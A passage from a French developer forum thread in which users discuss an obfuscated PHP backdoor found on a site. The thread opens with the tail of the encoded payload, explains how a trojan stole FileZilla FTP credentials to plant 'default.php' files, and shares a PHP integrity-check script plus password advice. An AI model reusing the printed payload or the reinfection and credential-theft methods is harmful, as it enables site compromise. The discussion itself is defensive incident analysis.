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"))); ?>

  6. #6
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Je voulais dire il permet l'un et l'autre, au choix du malveillant.

  7. #7
    Expert éminent
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Points : 7 762
    Points
    7 762
    Par défaut
    L'est joli celui là

    J'ai déjà vu ce genre de code, tu héberge sur une plateforme un peu pourrie non ? Une autre application infectée se voyait réinjecter le backdoor tous les jours, l'attaquant avait réussi à poser un cron qui l'ajoutait automatiquement tous les jours sur les fichiers index.php (ce qui est assez simple finalement). Une fois installée, la backdoor permet de faire faire ce qu'on veut à l'appli PHP.

    Donc vérifie bien ta plateforme et si possible, déménage.

  8. #8
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    tu héberge sur une plateforme un peu pourrie non ?
    >> ce n'est pas la plateforme qui pose problème, le trojan a volé me fichier de sites Filezilla qui contient les mot de passes des comptes FTP, et chaque N jours il se connecte aux sites et y dépose son fichier "default.php". J'ai simplement modifié les codes FTP et je n'ai plus de fichiers default.php qui s'ajoutent, donc heureusement le virus n'a pas créé de cron !

  9. #9
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    je profite de ce post pour insister que Filezilla est une plaie côté sécurité ! Bon on va me dire qu'il ne faut jamais sauvegarder les mot de passes, mais ce n'est pas facile quand on a des dizaines de sites à gérer !
    J'ai donc quitté Filezilla pour WinSCP, je sauvegarde toujours les mots de passes mais winscp permet de définir un mot passe global permettant de crypter tous les mots de passes ! Donc même si le fichier .ini de Winscp est volé, il sera presque impossible de le décrypter !!!

  10. #10
    Expert éminent
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Points : 7 762
    Points
    7 762
    Par défaut
    Concernant la politique de mots de passes, si vous pouvez vous payer le luxe de les choisir, je rappelle que ceci est un mot de passse est incroyablement plus résistant que f0oB4r@!.



    Si vous ne pouvez pas les choisir et qu'on vous a mis des mots de passe bien pourris et impossible à retenir, alors le mieux c'est encore de les noter sur papier ou dans un fichier crypté. Personnellement, il m'est arrivé de crypter mon fichier de mot de passe > l'encoder en base 64 > le couper en X chunks > chaque chunk est mis en tail d'un fichier image (ce qui ne change pas beaucoup sa taille et le laisse lisible), si quelqu'un arrive à les retrouver je lui paie une bière !

    Je ne connais que trop bien les affres de devoir manipuler des dizaines de plateformes avec des mots de passes différents. Bien entendu, la solution en or consiste à utiliser des clés SSH mais c'est pas toujours possible malheureusement.

  11. #11
    Expert éminent
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Points : 7 762
    Points
    7 762
    Par défaut
    J'ai repensé à tout ça et je me suis fabriqué un script qui renvoie le hash md5 de l'intégralité des fichiers PHP d'un répertoire.

    De cette façon, il est possible de checker aisément si quelque chose à changé à votre insu sur votre hébergement.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
     
    function glob_recursive($pattern, $flags = 0) {
        $files = glob($pattern, $flags);
        foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir)  {
            $files = array_merge($files, glob_recursive($dir.'/'.basename($pattern), $flags));
        }
        return $files;
    }
     
    foreach (glob_recursive('*.php') as $file) {
        $md5[$file] = md5_file($file);
    }
    echo md5(implode($md5));
    ça fonctionne très simplement: on calcule le md5 de chaque script PHP (qui ne sont pas censés bouger dans le temps) et on peut ensuite le comparer ultérieurement. S'il est différent et qu'aucun update n'a été fait, c'est qu'il s'est passé quelque chose de pas net.

  12. #12
    Modérateur
    Avatar de Obsidian
    Homme Profil pro
    Développeur en systèmes embarqués
    Inscrit en
    Septembre 2007
    Messages
    7 395
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Essonne (Île de France)

    Informations professionnelles :
    Activité : Développeur en systèmes embarqués
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Septembre 2007
    Messages : 7 395
    Points : 23 757
    Points
    23 757
    Par défaut
    Citation Envoyé par Benjamin Delespierre Voir le message
    Concernant la politique de mots de passes, si vous pouvez vous payer le luxe de les choisir, je rappelle que ceci est un mot de passse est incroyablement plus résistant que f0oB4r@!.
    Oui et c'est d'ailleurs pour cela que l'on utilise désormais des passphrases dans les points d'accès sans fil et les certificats X.509. Cela dit, ce n'est vrai que dans une certaine mesure : dès lors que la méthode décrite par XKCD sera adoptée et répandue, alors les attaques par dictionnaire re-gagneront en efficacité : au lieu de tabler sur une moyenne 8 à 16 fois le nombre de caractères raisonnablement affichables (selon la longueur du mot de passe), on partira sur une base de 3 à 8 fois la cardinalité du dico, ce qui, au final, ne sera pas forcément beaucoup plus vaste.

  13. #13
    Expert éminent
    Avatar de Benjamin Delespierre
    Profil pro
    Développeur Web
    Inscrit en
    Février 2010
    Messages
    3 929
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France, Alpes Maritimes (Provence Alpes Côte d'Azur)

    Informations professionnelles :
    Activité : Développeur Web
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Février 2010
    Messages : 3 929
    Points : 7 762
    Points
    7 762
    Par défaut
    Wabon ? Si on prends les 14.000 mots de la langue courante ça nous fait tout de même 1.47x10^33 pour 8 mots, ça fait beaucoup

  14. #14
    Modérateur
    Avatar de Obsidian
    Homme Profil pro
    Développeur en systèmes embarqués
    Inscrit en
    Septembre 2007
    Messages
    7 395
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 48
    Localisation : France, Essonne (Île de France)

    Informations professionnelles :
    Activité : Développeur en systèmes embarqués
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Septembre 2007
    Messages : 7 395
    Points : 23 757
    Points
    23 757
    Par défaut
    Citation Envoyé par Benjamin Delespierre Voir le message
    Wabon ? Si on prends les 14.000 mots de la langue courante ça nous fait tout de même 1.47x10^33 pour 8 mots, ça fait beaucoup
    Effectivement, la prochaine fois, je sortirai la calculatrice avant de poster.

  15. #15
    Membre averti Avatar de sami_c
    Profil pro
    Chef de projet
    Inscrit en
    Mai 2002
    Messages
    754
    Détails du profil
    Informations personnelles :
    Localisation : Tunisie

    Informations professionnelles :
    Activité : Chef de projet

    Informations forums :
    Inscription : Mai 2002
    Messages : 754
    Points : 389
    Points
    389
    Par défaut
    Citation Envoyé par Benjamin Delespierre Voir le message
    Concernant la politique de mots de passes, si vous pouvez vous payer le luxe de les choisir, je rappelle que ceci est un mot de passse est incroyablement plus résistant que f0oB4r@!.



    Si vous ne pouvez pas les choisir et qu'on vous a mis des mots de passe bien pourris et impossible à retenir, alors le mieux c'est encore de les noter sur papier ou dans un fichier crypté. Personnellement, il m'est arrivé de crypter mon fichier de mot de passe > l'encoder en base 64 > le couper en X chunks > chaque chunk est mis en tail d'un fichier image (ce qui ne change pas beaucoup sa taille et le laisse lisible), si quelqu'un arrive à les retrouver je lui paie une bière !

    Je ne connais que trop bien les affres de devoir manipuler des dizaines de plateformes avec des mots de passes différents. Bien entendu, la solution en or consiste à utiliser des clés SSH mais c'est pas toujours possible malheureusement.
    merci pour le conseil, cependant ça n'aurait pas résolu le problème avec Filezilla car ce dernier n’utilise pas un algo de cryptage à sens unique pour sauvegarder ses mots de passes, il m'arrive parfois d'oublier le mdp d'un site, je vais alors le chercher (crypté) dans le fichier de filezilla et j'utilise un petit programme en ligne de commande (trouvé sur le net) qui me le décrypte !

  16. #16
    Modérateur
    Avatar de sabotage
    Homme Profil pro
    Inscrit en
    Juillet 2005
    Messages
    29 208
    Détails du profil
    Informations personnelles :
    Sexe : Homme

    Informations forums :
    Inscription : Juillet 2005
    Messages : 29 208
    Points : 44 155
    Points
    44 155
    Par défaut
    Si quelqu'un a accès au fichier des mots de passe de Filezilla, il est déjà bien avancé sur son piratage.

Discussions similaires

  1. [MySQL] Optimisation de scripts PHP/MySQL
    Par DgG dans le forum PHP & Base de données
    Réponses: 368
    Dernier message: 20/11/2013, 18h59
  2. Quel est le meilleur script PHP de portail (CMS) ?
    Par Lana.Bauer dans le forum EDI, CMS, Outils, Scripts et API
    Réponses: 187
    Dernier message: 18/10/2012, 07h45
  3. Exécution script php
    Par devmat dans le forum Linux
    Réponses: 11
    Dernier message: 22/04/2007, 11h14
  4. Pb d'execution de requete avec un script php
    Par ythierrin dans le forum Requêtes
    Réponses: 3
    Dernier message: 22/08/2003, 14h34

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo